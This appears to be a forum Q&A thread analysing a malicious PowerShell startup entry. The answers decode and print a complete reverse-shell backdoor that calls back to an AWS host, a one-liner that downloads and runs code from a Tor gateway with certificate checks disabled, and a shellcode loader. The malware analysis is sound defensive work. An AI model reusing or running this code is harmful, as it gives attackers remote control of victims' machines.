Strange code running at startup

Short version

The attacker is able to run any PowerShell commands on your machine and can be found by getting the owner of "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com".

Long version

I dumped the binary array into a file and uploaded it to VirusTotal.

The newly launched file seems like an additional stage to me since it is really small (1.7 kb) and will be executed for 10 seconds only since it will be bound to PowerShell (since the attacker creates a thread instead of launching it as a separate process) and the termination is delayed by 10 secs at the last command.

Update: I'm sadly unable to reverse-engineer assembly, but a quick look at the file using a text editor revealed the following string:

powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(
'A really long base64 full code can be found below'));
IEX (New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

However, this stage also utilities GZIP as an additional obfuscation layer to Base64, but still can be dumped to:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]9999
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
    $client = New-Object  System.Net.Sockets.TCPClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com",9999)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

This is a rather simple PowerShell backdoor which is connecting to a server and then allows the attacker to remotely run PowerShell commands on your machine. This "powerfun" script can be found on GitHub by googling two seconds so I won't link it here to not stretch the anti-spam limits. However, by comparing it to the original script, you'll quickly notice that the attacker changed the remote server address to "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com" and the port to 9999, so it should be easy to track the attacker if needed.

Finally: The server is still listening to that port, so the attacker is able to control your computer!

Short version

Your machine is compromised and the attacker still controls your computer.

Long version

By decoding the base64 encoded expression (the string passed in the -Enc argument), you obtain the code that is executed by PowerShell:

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

This code basically downloads some more PowerShell code from a Tor hidden-service (through the onion.to gateway, which allows to access Tor hidden services from a machine which isn't connected to Tor) and executes it.

Here is the code that is downloaded and executed (once again, inline execution of a base64 encoded PowerShell script):

powershell -Enc [long base64 encoded string]

Which corresponds to the following code once decoded:

$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@
$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x = $o::VirtualAlloc(0, 0x1000, 0x3000, 0x40)
[Byte[]]$sc = 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for ($i=0; $i -le ($sc.Length-1); $i++) {
    $o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null
}
$z = $o::CreateThread(0, 0, $x, 0, 0, 0)
Start-Sleep -Second 100000

From my understanding, this code imports system DLLs and then executes some native code (the long byte array on line 8).

To dig further, one could reconstruct the native code from the byte array and submit it to VirusTotal to try to identify which malware it is, or directly run the PowerShell script in a sandbox to dynamically analyse its behavior.

EDIT: An analysis of this last part is available in VincBreaker's answer.

It is running a Powershell script with Base64 encoded Powershell code.

This is the decoded Powershell code that is being run:

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

So this script is downloading and invoking the content from https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq

I'll let you dig further, as I am wary of navigating to a potentially malicious link. Especially since it is coming from *.onion.to, a TOR address.